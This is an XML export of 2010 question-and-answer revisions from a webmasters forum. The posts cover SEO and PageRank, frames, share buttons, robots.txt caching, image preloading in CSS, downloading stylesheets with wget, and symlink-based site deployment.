  <row Id="4349" PostHistoryTypeId="2" PostId="2265" RevisionGUID="ab690295-2b89-4694-a654-488ce3e87cc2" CreationDate="2010-08-14T23:44:51.103" UserId="1429" Text="When your site will have a PR of 8 or more maybe you will get the search box in Google results too.&#xD;&#xA;Just kidding, **I think Google placed it there only for Wikipedia**, but it's interesting, it might be something experimental and maybe one day Google will place such search box for any site that ranks 1st in a his results." />
  <row Id="4350" PostHistoryTypeId="2" PostId="2266" RevisionGUID="8f810aef-555f-4646-aa99-78edd2007106" CreationDate="2010-08-15T01:28:18.330" UserId="1429" Text="Using nofollow might not be worth in order not to send out link juice (in other words Google Page Rank) in this case.&#xD;&#xA;&#xD;&#xA;But **linking to those sites you are DEFINITELY giving out your link juice**! Doesn't matter what Matt Cutts says now in his blog, **you can test for it on your own**.&#xD;&#xA;Remove totally those links and your Google PR will go up (you have to wait some months). Then put them back in and you will see your Google PR going down again.&#xD;&#xA;&#xD;&#xA;Unfortuantely **the only way to show those links without giving out link juice is to hide them in some way to Search engines**. It used to be simple to do by using Javascript, but now Google reads through links cerated in Javascript (you can test this by yourself creating a page with a link created by Javascript, the link must point to a not found page. In Goggle webmaster tools you will see in few weeks that Google indexes those type of links too and complains about the not found page).&#xD;&#xA;&#xD;&#xA;It came out a new technique anyway to hide those links, here is an article explaining how to hide links to Google and other serch engines using simple Javascript: http://www.seomofo.com/ethics/using-javascript-to-hide-links.html&#xD;&#xA;This is farly simple technique too that uses Javascript to create links, as before, but also sets robots.txt in order to tell search engine not to crwal the javascript file used to create those links. In this way search engine shoud not be able to follow the link theoretically (I did not tested it yet).&#xD;&#xA;&#xD;&#xA;These types of techniques anyway might be somthing called &quot;Black-Hat SEO technique&quot; or let's say at least &quot;Grey SEO technique&quot;. There is a [discussion about this on Google's chit chat][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=43c85ef328efaea4&amp;hl=en&amp;fid=43c85ef328efaea4000489494c52b284&amp;hltp=2" />
  <row Id="4351" PostHistoryTypeId="2" PostId="2267" RevisionGUID="09a4a941-7e50-4d0d-9ab8-73240ce6ee80" CreationDate="2010-08-15T02:01:00.887" UserId="1429" Text="I thought frame and iframe are something bad for SEO.&#xD;&#xA;&#xD;&#xA;Today I was doing some search and searching for &quot;numisamtica&quot; in Google.it and the 3rd site is www.lemonete.it (ranks high also in Google.com).&#xD;&#xA;**It's all made with frames.**&#xD;&#xA;&#xD;&#xA;A competitor site (www.nummus.com) that is all done with no frames ranks much lower when searching for the same word: &quot;numismatica&quot;&#xD;&#xA;&#xD;&#xA;So can we use frame, don't they hit SEO ranking anymore?&#xD;&#xA;Any exaplanation (possibly simple) would be appreciated also about the fact the 2nd site ranks much lower. :)" />
  <row Id="4352" PostHistoryTypeId="1" PostId="2267" RevisionGUID="09a4a941-7e50-4d0d-9ab8-73240ce6ee80" CreationDate="2010-08-15T02:01:00.887" UserId="1429" Text="Do we still need to avoid using frame/iframe for good SEO?" />
  <row Id="4353" PostHistoryTypeId="3" PostId="2267" RevisionGUID="09a4a941-7e50-4d0d-9ab8-73240ce6ee80" CreationDate="2010-08-15T02:01:00.887" UserId="1429" Text="&lt;seo&gt;&lt;iframe&gt;" />
  <row Id="4354" PostHistoryTypeId="2" PostId="2268" RevisionGUID="9bf291b9-04d4-414b-a72f-e05a0371168e" CreationDate="2010-08-15T03:27:55.647" UserId="1564" Text="Almost every site now (including this one) has buttons to share the page or subscribe with specific web services like digg, google reader, delicious, etc. I've personally never clicked one (I always use browser extensions or other methods for the services I perfer) but I assume that lots of people do given these buttons' popularity. I run a personal blog and currently just have a vanilla link directly to my atom feed. I'm considering adding some buttons to share/subscribe to web services but I don't want to clutter up my UI with stuff no one is going to use. Are there statistics somewhere on what the most popular services are? There are dozens of these sites and I'm very uncomfortable with adding a button for every one." />
  <row Id="4355" PostHistoryTypeId="1" PostId="2268" RevisionGUID="9bf291b9-04d4-414b-a72f-e05a0371168e" CreationDate="2010-08-15T03:27:55.647" UserId="1564" Text="What are the most popular sharing/subscribing services?" />
  <row Id="4356" PostHistoryTypeId="3" PostId="2268" RevisionGUID="9bf291b9-04d4-414b-a72f-e05a0371168e" CreationDate="2010-08-15T03:27:55.647" UserId="1564" Text="&lt;website-design&gt;&lt;links&gt;&lt;personal-website&gt;&lt;feeds&gt;" />
  <row Id="4357" PostHistoryTypeId="2" PostId="2269" RevisionGUID="d2e0fd39-e3a8-4d1c-895a-148177275fbb" CreationDate="2010-08-15T03:43:58.237" UserId="17" Text="I would add Facebook and Twitter.&#xD;&#xA;&#xD;&#xA;To find out what works best, check a popular news website or related blog and see what their usage is. Check out a few posts and be sure to notice the topic; different demographics may give different results.&#xD;&#xA;&#xD;&#xA;**Example**:&#xD;&#xA;The New York Times makes Facebook a featured share button for general news. And, if you go to a tech article you have Twitter as well.    " />
  <row Id="4358" PostHistoryTypeId="2" PostId="2270" RevisionGUID="dcde377a-839f-4aa0-9ca5-935ebfd6de65" CreationDate="2010-08-15T06:54:01.473" UserId="745" Text="Why choose? Use a button that has multiple services like [AddThis][1] or [ShareThis][2]. If you don't want to do that however, I'd choose hit the major sites:&#xD;&#xA;&#xD;&#xA; - Facebook&#xD;&#xA; - Twitter&#xD;&#xA; - StumbleUpon&#xD;&#xA; - Digg&#xD;&#xA; - Reddit&#xD;&#xA; - Delicious&#xD;&#xA;&#xD;&#xA;Most social sites after those are either smaller or niche.&#xD;&#xA;  [1]: http://www.addthis.com/&#xD;&#xA;  [2]: http://secure.sharethis.com/" />
  <row Id="4359" PostHistoryTypeId="2" PostId="2271" RevisionGUID="a03db62c-afeb-487d-a812-9bf1fb2cc103" CreationDate="2010-08-15T08:08:00.123" UserId="231" Text="[Facebook Like][1], [Tweet Button][2], [Digg button][3] and [Reddit][4] should be your first options. However, as Virtuosi Media suggested, it would be better to integrate a multiple buttons service, thus giving your visitors the option to use what they are comfortable with.&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/docs/reference/plugins/like&#xD;&#xA;  [2]: http://twitter.com/goodies/tweetbutton&#xD;&#xA;  [3]: http://about.digg.com/downloads/button/smart&#xD;&#xA;  [4]: http://www.reddit.com/buttons/" />
  <row Id="4360" PostHistoryTypeId="2" PostId="2272" RevisionGUID="327e9d2e-5e90-4bb8-8f94-390cf2e274cb" CreationDate="2010-08-15T10:08:59.633" UserId="168" Text="I added a robots.txt file to one of my sites a week ago, which should have prevented googlebot from attempting to fetch certain URLs.  However, this weekend I can see googlebot loading those exact URLs.  Does Google cache robots.txt and if so, should it?" />
  <row Id="4361" PostHistoryTypeId="1" PostId="2272" RevisionGUID="327e9d2e-5e90-4bb8-8f94-390cf2e274cb" CreationDate="2010-08-15T10:08:59.633" UserId="168" Text="does Google cache robots.txt?" />
  <row Id="4362" PostHistoryTypeId="3" PostId="2272" RevisionGUID="327e9d2e-5e90-4bb8-8f94-390cf2e274cb" CreationDate="2010-08-15T10:08:59.633" UserId="168" Text="&lt;google&gt;&lt;robots.txt&gt;" />
  <row Id="4363" PostHistoryTypeId="2" PostId="2273" RevisionGUID="9664a767-c65f-47e5-8179-03bf78f4d5aa" CreationDate="2010-08-15T11:07:11.940" UserId="1078" Text="I have recently come across [UserFly][1] (haven't tried it myself). You probably should also consider getting feedback from websites like [ConceptFeedback][2]&#xD;&#xA;&#xD;&#xA;Goog luck&#xD;&#xA;&#xD;&#xA;  [1]: http://userfly.com/&#xD;&#xA;  [2]: http://www.conceptfeedback.com" />
  <row Id="4364" PostHistoryTypeId="2" PostId="2274" RevisionGUID="34e3fb6f-2245-4366-9b5d-b039a51475ba" CreationDate="2010-08-15T11:42:13.720" UserId="93" Text="I would strongly recommend registering your site with [webmaster tools][1].  There is a crawler access section under site configuration that will tell you when your robots.txt was last downloaded.  The tool also provides a lot of detail as to how the crawlers are seeing your site, what is blocked or not working, and where you are appearing in queries on Google.&#xD;&#xA;&#xD;&#xA;From what I can tell, google downloads the robots.txt often.  The webmaster tools site will also let you specifically remove URLs from the index, so you can remove those ones you are now blocking.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools" />
  <row Id="4365" PostHistoryTypeId="2" PostId="2275" RevisionGUID="350b3d3e-19ef-4a8b-b040-176e3a83de24" CreationDate="2010-08-15T13:14:06.027" UserId="1566" Text="Is there a tool that allows me to point to a CSS URL, and download the CSS, as well as all the urls referenced within it?&#xD;&#xA;&#xD;&#xA;For example, if the CSS is at http://example.com/example.css&#xD;&#xA;&#xD;&#xA;And it has things like background-image: url('images/bg.gif'), it should download bg.gif too, and dump it under an images/ subfolder locally. &#xD;&#xA;" />
  <row Id="4366" PostHistoryTypeId="1" PostId="2275" RevisionGUID="350b3d3e-19ef-4a8b-b040-176e3a83de24" CreationDate="2010-08-15T13:14:06.027" UserId="1566" Text="Download CSS with all referenced files" />
  <row Id="4367" PostHistoryTypeId="3" PostId="2275" RevisionGUID="350b3d3e-19ef-4a8b-b040-176e3a83de24" CreationDate="2010-08-15T13:14:06.027" UserId="1566" Text="&lt;css&gt;" />
  <row Id="4368" PostHistoryTypeId="5" PostId="2275" RevisionGUID="e2cd2c89-3514-40cb-841c-0fb47dde0d6c" CreationDate="2010-08-15T13:22:20.857" UserId="1566" Comment="added 130 characters in body" Text="Is there a tool that allows me to point to a CSS URL, and recursively download the CSS, as well as all the image and @import urls referenced within it?&#xD;&#xA;&#xD;&#xA;For example, if the CSS is at http://example.com/example.css&#xD;&#xA;&#xD;&#xA;And it has things like background-image: url('images/bg.gif'), it should download bg.gif too, and dump it under an images/ subfolder locally. If it has a reference to another stylesheet ex2.css, it should recursively do this on ex2.css as well." />
  <row Id="4369" PostHistoryTypeId="2" PostId="2276" RevisionGUID="156d00cb-6860-49de-a8ae-68e1200a7d2d" CreationDate="2010-08-15T13:58:07.560" UserId="1566" Text="This worked:&#xD;&#xA;&#xD;&#xA;    wget -rHm http://example.com/example.css &#xD;&#xA;But it won't work if you have a Windows wget (because GnuWin32's wget is at an older version that doesn't support CSS)&#xD;&#xA;&#xD;&#xA;It works on fedora after you upgrade wget to the latest using&#xD;&#xA;&#xD;&#xA;    yum update wget&#xD;&#xA;&#xD;&#xA;Link:&#xD;&#xA;&#xD;&#xA;http://wget.addictivecode.org/FrequentlyAskedQuestions#Can_Wget_download_links_found_in_CSS.3F" />
  <row Id="4370" PostHistoryTypeId="2" PostId="2277" RevisionGUID="0a0586a8-0c59-4e6a-b41e-3345f3409b31" CreationDate="2010-08-15T15:19:02.020" UserId="1064" Text="Outgoing links from Facebook, for example, to a website are caught by a redirect script (&quot;Are you sure you want to leave Facebook?&quot;) - these links are definitely not counted toward the PageRank of the destination site.&#xD;&#xA;&#xD;&#xA;Internal links within Facebook (i.e. links to the Facebook page within Facebook's indexes) will not have a nofollow or robots.txt restriction, so (insofar as a search engine is concerned) the Facebook profile page will have at least a handful of inbound links; if the company's website also includes a link to the company's Facebook profile and the company's website itself has fewer inbound links than the company's Facebook profile, I can see where the Facebook page would likely show up first in the search results.&#xD;&#xA;&#xD;&#xA;The question is, *is it desirable for the company's Facebook page to show up before the company's own website in the search results?*&#xD;&#xA;&#xD;&#xA;I can't imagine too many cases in which the company would benefit from having most users land on its profile at Facebook over landing at the site it has full control over." />
  <row Id="4371" PostHistoryTypeId="2" PostId="2278" RevisionGUID="c88fb68c-e8ec-4a14-a1a1-32f906d6931c" CreationDate="2010-08-15T16:19:28.420" UserId="1253" Text="PR is a mathematical formula based on the link popularity of any given page. PR is &quot;passed&quot; by linking to another page. So, any link that links to your page will raise the PR of that page. However, nofollow links do not pass on PR and as a result will not increase your PR at all. SO, if those pages use nofollow then, no, they will not increase your PR. The same applies to web pages with redirect scripts blocked by robots.txt.&#xD;&#xA;&#xD;&#xA;The reason why a Facebook page might rank higher then a company website is that Facebook page simply has done a better job of establishing its relevance for that search term. This may be simply because the Facebook page has more/better links pointing to it (internal links count). It may also be because the company website is poorly done and is not search engine friendly and can be outranked simply because it makes it hard for Google to determine its relevance for important search terms." />
  <row Id="4372" PostHistoryTypeId="2" PostId="2279" RevisionGUID="5dd7d111-e1bf-4730-85ce-0f890a55bc90" CreationDate="2010-08-15T16:21:28.247" UserId="632" Text="I use CSS to place a lot of my images  (as backgrounds for divs) and I often find that they load very slowly this way.  They seem to be the last thing to load.  Even small little icon images take a while to show up this way.  Is there a way to tell the browser a priority for images?  Or get it to download the images in the CSS file earlier and render them earlier?" />
  <row Id="4373" PostHistoryTypeId="1" PostId="2279" RevisionGUID="5dd7d111-e1bf-4730-85ce-0f890a55bc90" CreationDate="2010-08-15T16:21:28.247" UserId="632" Text="How can I encourage the browser to download images from CSS file faster?" />
  <row Id="4374" PostHistoryTypeId="3" PostId="2279" RevisionGUID="5dd7d111-e1bf-4730-85ce-0f890a55bc90" CreationDate="2010-08-15T16:21:28.247" UserId="632" Text="&lt;css&gt;&lt;images&gt;&lt;load-time&gt;" />
  <row Id="4375" PostHistoryTypeId="2" PostId="2280" RevisionGUID="b1881af0-a702-4765-af2a-b8f4d1f9be78" CreationDate="2010-08-15T16:23:55.780" UserId="632" Text="I have a link that starts with one background image and then changes on hover to another.  Both background images are set in the CSS.  My browsers (any of them) don't seem to load the hover image until you actually hover.  But then you end up with a blank image for the several seconds (on my very slow connection) it takes to load the new one.  Is there a way to encourage the browser to pre-load the hover image so that delay time doesn't occur on hover?" />
  <row Id="4376" PostHistoryTypeId="1" PostId="2280" RevisionGUID="b1881af0-a702-4765-af2a-b8f4d1f9be78" CreationDate="2010-08-15T16:23:55.780" UserId="632" Text="How to pre-load images used only on hover?" />
  <row Id="4377" PostHistoryTypeId="3" PostId="2280" RevisionGUID="b1881af0-a702-4765-af2a-b8f4d1f9be78" CreationDate="2010-08-15T16:23:55.780" UserId="632" Text="&lt;css&gt;&lt;images&gt;&lt;load-time&gt;" />
  <row Id="4378" PostHistoryTypeId="2" PostId="2281" RevisionGUID="c6bce5c6-7454-406a-b906-dc1917daf176" CreationDate="2010-08-15T16:25:30.773" UserId="1253" Text="Just because the site with Frames outranks the site without frames doesn't means that frames aren't harmful. The site with the frames may simply rank well *despite* the frames. The frames may be hurting them but thanks to quality incoming links and/or poor SEO on the other site they rank higher.&#xD;&#xA;&#xD;&#xA;Frames are still bad for accessibility and there is rarely, if ever, a good time to use them. Even if they no longer negatively affect SEO it doesn't make them ok to use." />
  <row Id="4379" PostHistoryTypeId="2" PostId="2282" RevisionGUID="6d306a36-5f75-4e97-8ece-b7c219f5d04f" CreationDate="2010-08-15T16:34:31.717" UserId="1253" Text="1) Load the images in a hidden div. Place the images in the div and then set the div's CSS to `display: none;` to hide it.&#xD;&#xA;&#xD;&#xA;2) [Load the images with CSS][1]:&#xD;&#xA;&#xD;&#xA;    #preloadedImages&#xD;&#xA;    {&#xD;&#xA;        width: 0px;&#xD;&#xA;        height: 0px;&#xD;&#xA;        display: inline;&#xD;&#xA;        background-image: url(path/to/image1.png);&#xD;&#xA;        background-image: url(path/to/image2.png);&#xD;&#xA;        background-image: url(path/to/image3.png);&#xD;&#xA;        background-image: url(path/to/image4.png);&#xD;&#xA;        background-image: url();&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;3) Use [this JavaScript][2]&#xD;&#xA;&#xD;&#xA;    &lt;script language=&quot;JavaScript&quot;&gt;&#xD;&#xA;    &#xD;&#xA;    function preloader() &#xD;&#xA;    {&#xD;&#xA;         // counter&#xD;&#xA;         var i = 0;&#xD;&#xA;    &#xD;&#xA;         // create object&#xD;&#xA;         imageObj = new Image();&#xD;&#xA;    &#xD;&#xA;         // set image list&#xD;&#xA;         images = new Array();&#xD;&#xA;         images[0]=&quot;image1.jpg&quot;&#xD;&#xA;         images[1]=&quot;image2.jpg&quot;&#xD;&#xA;         images[2]=&quot;image3.jpg&quot;&#xD;&#xA;         images[3]=&quot;image4.jpg&quot;&#xD;&#xA;    &#xD;&#xA;         // start preloading&#xD;&#xA;         for(i=0; i&lt;=3; i++) &#xD;&#xA;         {&#xD;&#xA;              imageObj.src=images[i];&#xD;&#xA;         }&#xD;&#xA;    }&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/819336/how-to-preload-images-without-javascript&#xD;&#xA;  [2]: http://articles.techrepublic.com.com/5100-10878_11-5214317.html&#xD;&#xA;" />
  <row Id="4380" PostHistoryTypeId="2" PostId="2283" RevisionGUID="61709ab6-c157-4bd6-b5ae-7a3ffed9b094" CreationDate="2010-08-15T16:40:57.060" UserId="1253" Text="As of right now there is no way to specify which files download first. Also, images specified in CSS files as background images download *last* probably because the browser sees them non-content and thus a lower priority." />
  <row Id="4381" PostHistoryTypeId="5" PostId="2283" RevisionGUID="f0eddb33-3c13-47e6-b25d-1bbf34d45bf4" CreationDate="2010-08-15T17:03:37.497" UserId="1253" Comment="added 70 characters in body" Text="As of right now there is no way to specify which files download first. FYI, images specified in CSS files as background images download *last* probably because the browser sees them non-content and thus a lower priority so avoid using them for important images that you want to load quickly." />
  <row Id="4382" PostHistoryTypeId="2" PostId="2284" RevisionGUID="8b393f5b-823d-4222-bffb-261a8d13afdb" CreationDate="2010-08-15T18:25:57.220" UserId="1204" Text="For browsers that support the data URI type (see http://en.wikipedia.org/wiki/Data_Uri for info) to include the image in the CSS itself.&#xD;&#xA;&#xD;&#xA;This has a few disadvantages though:&#xD;&#xA;&#xD;&#xA;* The data is reloaded when the CSS is, rather than being separately cached, though unless your CSS changes regularly this is not much of a problem.&#xD;&#xA;* CSS's lack of inheritance and such means there may be times (wasting bandwidth) when you have to include the same graphic multiple times or alter the classes used in your document.&#xD;&#xA;* The images are base64 encoded when used this way which means they take more bandwidth (though the bandwidth issue is much less significant if you are sending the data compressed).&#xD;&#xA;* You'll need to provide alternate styles for browsers that do not support the data URIs, some of which are far from uncommon (IE6 and IE7 for instance)." />
  <row Id="4383" PostHistoryTypeId="2" PostId="2285" RevisionGUID="bfc6485d-3466-4fff-a838-c5becce4df2c" CreationDate="2010-08-15T18:45:56.433" UserId="914" Text="CSS is for styling, not content. Browsers (rightly) try and display content before adding styling, hence the reason why images in style-sheets are usually downloaded last. If images are important to your *content* then add them via standard HTML `&lt;IMG&gt;` tags." />
  <row Id="4384" PostHistoryTypeId="2" PostId="2286" RevisionGUID="b350e40e-be3a-404a-b6c9-7041845ee1cb" CreationDate="2010-08-15T20:50:46.160" UserId="937" Text="There's always some reason for scheduled downtime, but it can be minimized.&#xD;&#xA;&#xD;&#xA;Depending on your infrastructure, different strategies can minimize downtime.  Regular-old-updates ought not require downtime.&#xD;&#xA;&#xD;&#xA;On a number of PHP-driven sites I manage, I maintain side-by-side copies of the codebase, let's say version 1.0, 1.1 and 1.2:&#xD;&#xA;&#xD;&#xA;    /sites/site-1-0-0&#xD;&#xA;    /sites/site-1-1-0&#xD;&#xA;    /sites/site-1-2-0&#xD;&#xA;&#xD;&#xA;And then create symlinks that the web server can use:&#xD;&#xA;&#xD;&#xA;    /sites/production --&gt; /sites/site-1-1-0&#xD;&#xA;    /sites/staging    --&gt; /sites/site-1-2-0&#xD;&#xA;&#xD;&#xA;This way, I can stage my code on the production server for last-minute sanity checks, and when I want to go live, I just:&#xD;&#xA;&#xD;&#xA;    $ rm /sites/production; ln -s /sites/site-1-2-0 /sites/production&#xD;&#xA;&#xD;&#xA;The web server uses the symlinks in the DocumentRoot specification, so the cutover is practically instantaneous.&#xD;&#xA;&#xD;&#xA;There are, of course, gotchas, here.  One needs to ensure that external data is stored somewhere, er, external.  You don't want to be writing temp files, or storing user-generated content in the filesystem under the site-x-y-z directories.  &#xD;&#xA;&#xD;&#xA;Another alternative, if you've got multiple servers is to make the cutover via routing.  Some VPS vendors (Linode comes to mind) make it easy to take two virtual machines and swap their IP addresses.  So you set up your new version on a new server, do whatever testing is necessary, and then swap IPs to deploy your update.  The same issues about keeping non-code assets up-to-date apply, but some careful thinking and planning can make that a non-issue.&#xD;&#xA;&#xD;&#xA;With more robust, load-balanced setups, strategies like those suggested in danlefree's answer work as well.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4385" PostHistoryTypeId="2" PostId="2287" RevisionGUID="56d719d7-5990-4f3c-a2e8-6bcd1ebbb710" CreationDate="2010-08-15T20:53:03.143" UserId="43" Text="According to [this article][1], &#xD;&#xA;&#xD;&#xA;&gt; The content in an iframe is not considered part of the parent page.&#xD;&#xA;&#xD;&#xA;Seems like that would be pretty bad for SEO purposes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.searchenginejournal.com/iframe-seo-and-accessibility/15217/" />
  <row Id="4386" PostHistoryTypeId="2" PostId="2288" RevisionGUID="b9632f60-002b-4fcb-bed3-78e42e0bed49" CreationDate="2010-08-15T22:30:02.127" UserId="1569" Text="I don't really like the javascript solution - it's messy, difficult to maintain, and of course completely fails when JS is disabled.&#xD;&#xA;&#xD;&#xA;The modern solution is to use [CSS Sprites][1] - try it, believe me, you'll wonder why you never did this before ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/articles/sprites" />
  <row Id="4387" PostHistoryTypeId="2" PostId="2289" RevisionGUID="256d6d52-ec6e-44ba-9279-3c7785b71614" CreationDate="2010-08-15T22:37:42.460" Text="add this above your css&#xD;&#xA;&#xD;&#xA;&lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;var images = ['img1.jpg', 'img2.jpg'];&#xD;&#xA;&#xD;&#xA;for(var i = 0, len = images.length; i &lt; len; i++) {&#xD;&#xA;  new Image().src = images[i];&#xD;&#xA;}&#xD;&#xA;&lt;/script&gt;&#xD;&#xA;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;your_css_file.css&quot; /&gt;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;If you got the sprite route as danp suggests you still have an issue with loading the sprite before its needed. That said I love sprites, to easily make them I use the tool from Souders &#xD;&#xA;&#xD;&#xA;http://spriteme.org/" />
  <row Id="4388" PostHistoryTypeId="2" PostId="2290" RevisionGUID="c3b88dc9-8e31-4e7d-b6a0-3bd1d63af716" CreationDate="2010-08-15T22:48:34.380" UserId="1064" Text="Use absolute URI's from your stylesheet *and* add the images from IMG tags to a hidden div on the page (this assumes you're using the same images on every page; ideally in the footer so they're all loaded and cached on any given page call).&#xD;&#xA;&#xD;&#xA;Images on the page get priority and, once the images are cached, they'll render immediately on subsequent page requests." />
  <row Id="4389" PostHistoryTypeId="5" PostId="2270" RevisionGUID="192108df-4848-41d4-9e14-c2fc2c3ba629" CreationDate="2010-08-16T01:41:21.163" UserId="745" Comment="grammar" Text="Why choose? Use a button that has multiple services like [AddThis][1] or [ShareThis][2]. If you don't want to do that however, I'd choose to hit the major sites:&#xD;&#xA;&#xD;&#xA; - Facebook&#xD;&#xA; - Twitter&#xD;&#xA; - StumbleUpon&#xD;&#xA; - Digg&#xD;&#xA; - Reddit&#xD;&#xA; - Delicious&#xD;&#xA;&#xD;&#xA;Most social sites after those are either smaller or niche.&#xD;&#xA;  [1]: http://www.addthis.com/&#xD;&#xA;  [2]: http://secure.sharethis.com/" />
  <row Id="4390" PostHistoryTypeId="2" PostId="2291" RevisionGUID="808facbb-87bb-435c-9099-4a8528802022" CreationDate="2010-08-16T03:11:13.303" UserId="3" Text="I've heard that registering a domain name for a very long time, say 5 to 10+ years, can help with your search rank.&#xD;&#xA;&#xD;&#xA;This seems at least *plausible* to me, since a fly-by-night, massive domain name farm isn't going to bother registering their names for more than a year. Someone who registers a name for 10 years is incurring many times the expense per domain name, and that's a de-facto money tax disincentive for massively registering many domainnames.&#xD;&#xA;&#xD;&#xA;Are there any citations or other sources indicating this is in fact true?" />
  <row Id="4391" PostHistoryTypeId="1" PostId="2291" RevisionGUID="808facbb-87bb-435c-9099-4a8528802022" CreationDate="2010-08-16T03:11:13.303" UserId="3" Text="Does registering a domain for 10+ years help search rank?" />
  <row Id="4392" PostHistoryTypeId="3" PostId="2291" RevisionGUID="808facbb-87bb-435c-9099-4a8528802022" CreationDate="2010-08-16T03:11:13.303" UserId="3" Text="&lt;seo&gt;&lt;dns&gt;&lt;registrar&gt;" />
  <row Id="4393" PostHistoryTypeId="2" PostId="2292" RevisionGUID="f20e7107-ae84-46a1-85a8-5a0fc00351b7" CreationDate="2010-08-16T03:18:07.190" UserId="3" Text="This [March 31, 2005 Google patent][1] seems to indicate it might be true:&#xD;&#xA;&#xD;&#xA;&gt; [0039] Consider the example of a document with an inception date of yesterday that is referenced by 10 back links. This document may be scored higher by search engine 125 than a document with an inception date of 10 years ago that is referenced by 100 back links because the rate of link growth for the former is relatively higher than the latter. While a spiky rate of growth in the number of back links may be a factor used by search engine 125 to score documents, it may also signal an attempt to spam search engine 125. Accordingly, in this situation, search engine 125 may actually lower the score of a document(s) to reduce the effect of spamming.&#xD;&#xA;&#xD;&#xA;Although &quot;inception date&quot; in this case is the date the content was posted, so unless you've got a time machine handy, you can't force 10 year old content to magically appear on your domain.&#xD;&#xA;&#xD;&#xA;&gt; [0099] Certain signals may be used to distinguish between illegitimate and legitimate domains. For example, domains can be renewed up to a period of 10 years. **Valuable (legitimate) domains are often paid for several years in advance, while doorway (illegitimate) domains rarely are used for more than a year. Therefore, the date when a domain expires in the future can be used as a factor in predicting the legitimacy of a domain and, thus, the documents associated therewith.**&#xD;&#xA;&#xD;&#xA;This, on the other hand, seems pretty clear. Makes sense to me, anyway; if you're registering 10k domains to spam, you probably don't want to pay 5x as much to have them registered for 5 years. Particularly since you'll use them only briefly and move on in scammer/spammer style.&#xD;&#xA;&#xD;&#xA;Matt Cutts touched on this in one of his webmaster videos too:&#xD;&#xA;&#xD;&#xA;&gt; &quot;How much weight does the number of years a domain is registered for have on your ranking?&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; http://www.youtube.com/watch?v=Y1_1NQWQJ2Q&#xD;&#xA;&#xD;&#xA;Answer is:&#xD;&#xA;&#xD;&#xA;&gt; We have a lot of ideas and we file a lot of patents, but that doesn't mean we actually implement all those ideas.&#xD;&#xA;&#xD;&#xA;He does *not* however say domain registration term doesn't matter, he just says &quot;don't worry nearly as much [about this as you do about producing great content]&quot;.&#xD;&#xA;&#xD;&#xA;[1]: http://appft1.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PG01&amp;p=1&amp;u=/netahtml/PTO/srchnum.html&amp;r=1&amp;f=G&amp;l=50&amp;s1=%2220050071741%22.PGNR.&amp;OS=DN/20050071741&amp;RS=DN/20050071741&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4394" PostHistoryTypeId="2" PostId="2293" RevisionGUID="e8553ca6-23a8-4909-91cc-65803e77f107" CreationDate="2010-08-16T03:32:31.317" UserId="1253" Text="If it had any value it would be so small that I wouldn't even give it a thought or let that factor into my decision when purchasing a domain name. After all, search is about relevance and how long a domain is registered in no way indicates what a website is about or if it is any good or even spammy. **It only means someone registered a domain for 10 years** which can cost as little as $20 (hardly a large sum of money especially when compared to how much money a web can make if it ranks well in Google). If I had to take a guess I would say it may be a factor, one of *many* factors, in determining if a website is possibly spammy." />
  <row Id="4395" PostHistoryTypeId="2" PostId="2294" RevisionGUID="dd60d260-7bd1-4e38-a091-37c0d7c02bcf" CreationDate="2010-08-16T08:27:31.083" UserId="480" Text="We have a website where the usual speed ups from [High Performance Websites][1] and [Even Faster Web Sites][2] paid dividends.&#xD;&#xA;&#xD;&#xA;However we have neglected stylesheets (due to the difficulties laid out below) and it has finally come round to bite us, with CSS accounting for 500ms of our 1600ms page-load (the ratio of both results is pretty consistent across benchmarks - the actual numbers portrayed here are from the most convenient benchmark we have to hand).&#xD;&#xA;&#xD;&#xA;In parallel to making the selectors more efficient, the total number of HTTP requests has to be reduced. Here is an example (without `text=&quot;text/css&quot; charset=&quot;utf-8&quot;` for brevity):&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; href=&quot;global.css&quot; media=&quot;all&quot; /&gt;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; href=&quot;page.css&quot; media=&quot;all&quot; /&gt;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; href=&quot;print.css&quot; media=&quot;print&quot; /&gt;&#xD;&#xA;    &lt;link rel=&quot;alternative stylesheet&quot; href=&quot;print.css&quot; media=&quot;all&quot; title=&quot;Print&quot; /&gt;&#xD;&#xA;&#xD;&#xA;This would appear to be a common setup (global stylesheet, per page/category stylesheet and print layout) yet we are having real troubles figuring out a workable solution due to every option having a double edged sword:&#xD;&#xA;&#xD;&#xA;* global.css and page.css can be combined, however global.css would be downloaded again and again alongside page.css if the user kept jumping to special pages/categories and should be served on its own&#xD;&#xA;&#xD;&#xA;* print.css file can be combined and use [CSS2 @media rules][3], but that wouldn't work with CSS1 browsers (this site has to work with IE6)&#xD;&#xA;&#xD;&#xA;* the version of print.css linked using `rel=&quot;alternative stylesheet&quot; media=&quot;all&quot; title=&quot;Print&quot;` does not appear to be necessary, yet the developers have [Cargo Culted][4] it on every project without knowing what it does and we are fearful of removing it&#xD;&#xA;&#xD;&#xA;As this seems such a common setup what have others done when faced with a similar setup?, can anyone shed some light on alternative stylesheets for print?, is there a novel approach to the above?&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/9780596529307&#xD;&#xA;  [2]: http://oreilly.com/catalog/9780596522315&#xD;&#xA;  [3]: http://&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Cargo_cult" />
